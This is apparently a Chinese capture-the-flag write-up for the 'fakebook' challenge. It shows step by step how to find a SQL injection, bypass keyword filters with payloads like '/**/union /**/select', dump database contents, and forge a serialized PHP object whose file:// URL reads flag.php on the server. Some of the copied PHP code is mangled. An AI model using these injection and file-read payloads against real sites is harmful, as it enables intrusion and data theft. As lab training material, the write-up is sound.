fakebook-攻防世界

题目

先目录扫描一下

dirseach

打开flag.php是空白的

访问robots.txt,访问user.php.bak

<?php

class UserInfo

{

public $name = "";

public $age = 0;

public $blog = "";

public function __construct(name, age, $blog)

{

this-\>name = name;

this-\>age = (int)age;

this-\>blog = blog;

}

function get($url)

{

$ch = curl_init();

curl_setopt(ch, CURLOPT_URL, url);

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

output = curl_exec(ch);

httpCode = curl_getinfo(ch, CURLINFO_HTTP_CODE);

if($httpCode == 404) {

return 404;

}

curl_close($ch);

return $output;

}

public function getBlogContents ()

{

return this-\>get(this->blog);

}

public function isValidBlog ()

{

blog = this->blog;

return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?/i", blog);

}

}

但是好像没用

正常注册一下

这里发现有no=1试一试sql注入

加个'报错 可能存在注入

1 and 1=1 正常

1 and 1=2 报错

1' and 1=1 --+报错

1' and 1=2 --+报错

确定是数字型注入

爆字段1 order by 4正常

1 order by 5报错,确定字段是4

爆显位

1 union select 1,2,3,4

但是被过滤了

SQL注入一些过滤及绕过总结_sql注入过滤-CSDN博客

union 和select被前端过滤了,用unicode和<>绕过过滤是不可行的,只有/**/union /**/select可以绕过:

view.php?no=2 UniOn select 1,2,3,4#

view.php?no=2 union SelEct 1,2,3,4#

view.php?no=2 uunionnion selselectect 1,2,3,4#

view.php?no=2 union/**/select 1,2,3,4#

view.php?no=2 union++select 1,2,3,4#

no=-1 /**/union /**/select 1,2,3,4

说明显位是2

爆库名

view.php?no=2 union++select 1,user(),3,4#

view.php?no=2 union++select 1,database(),3,4#

-1 /**/union /**/select 1,group_conact(schema_name),3,4 from information_schema.schemata

爆表名

-1 /**/union /**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="fakebook"

爆字段

-1 /**/union /**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema="fakebook"

爆数据

-1 /**/union /**/select 1,group_concat(data),3,4 from fakebook.users

发现是我们注册时被序列化的数据

O:8:"UserInfo":3:{s:4:"name";s:5:"20_aw";s:3:"age";i:20;s:4:"blog";s:10:"www.aw.com";}

得到一个现成的序列化数据我们能否模仿

通过之前查的数据username是字段2,猜测data是字段4按顺序来嘛

no=2 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"20_aw";s:3:"age";i:20;s:4:"blog";s:10:"www.aw.com";} '

页面正常起来了

注意no现在的值为2,我们知道这个用户是不存在的。换而言之,原SQL语句的查询结果为空,而我们通过union加入了我们构造的查询语句,让SQL语句有了查询结果,并且此查询结果符合页面渲染要求,所以页面正常显示了。

并且由此得知,只要有data字段的对象序列,就可以成功渲染页面,其他字段并不是很重要。(页面中age和blog的值,显然也都是从序列化的对象里面得到的)

利用php伪协议读取,flag文件嘛

修改序列化中的blog参数,路径之前报错算是提示吧,而且一般都是默认路径

s:4:"blog";s:29:"file:///var/www/html/flag.php";

no=2 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"20_aw";s:3:"age";i:20;s:4:"blog";s:29:"file:///var/www/html/flag.php";} '

打开源代码中发现

点击

相关推荐
Bruce_Liuxiaowei28 分钟前
Nmap主机发现与在线主机提取实用指南
服务器·网络·安全
一杯咖啡的时间1 小时前
2021年与2025年OWASP Top 10
网络·安全·web安全
LiYingL1 小时前
AlignGuard-LoRA:一种结合了高效微调和安全保护的新正则化方法
服务器·安全
墨痕诉清风1 小时前
java漏洞集合工具(Struts2、Fastjson、Weblogic(xml)、Shiro、Log4j、Jboss、SpringCloud)
xml·java·struts·安全·web安全·spring cloud·log4j
卓豪终端管理2 小时前
构建主动免疫:终端零日漏洞防护新体系
网络·安全·web安全
鱼跃新知2 小时前
通过Cursor分析js安全初体验
安全
莫叫石榴姐2 小时前
ast 在 Dify 工作流中解析 JSON 格式数据的深度解析
大数据·网络·安全·json
2501_915909064 小时前
资源文件混淆在 iOS 应用安全中的实际价值
android·安全·ios·小程序·uni-app·iphone·webview
ShenZhenDingYue4 小时前
高压线防外破警示灯:电力安全与智能预警的守护者
安全
国科安芯4 小时前
AS32A601型MCU芯片如何进行IAP升级?
网络·单片机·嵌入式硬件·安全·risc-v·安全性测试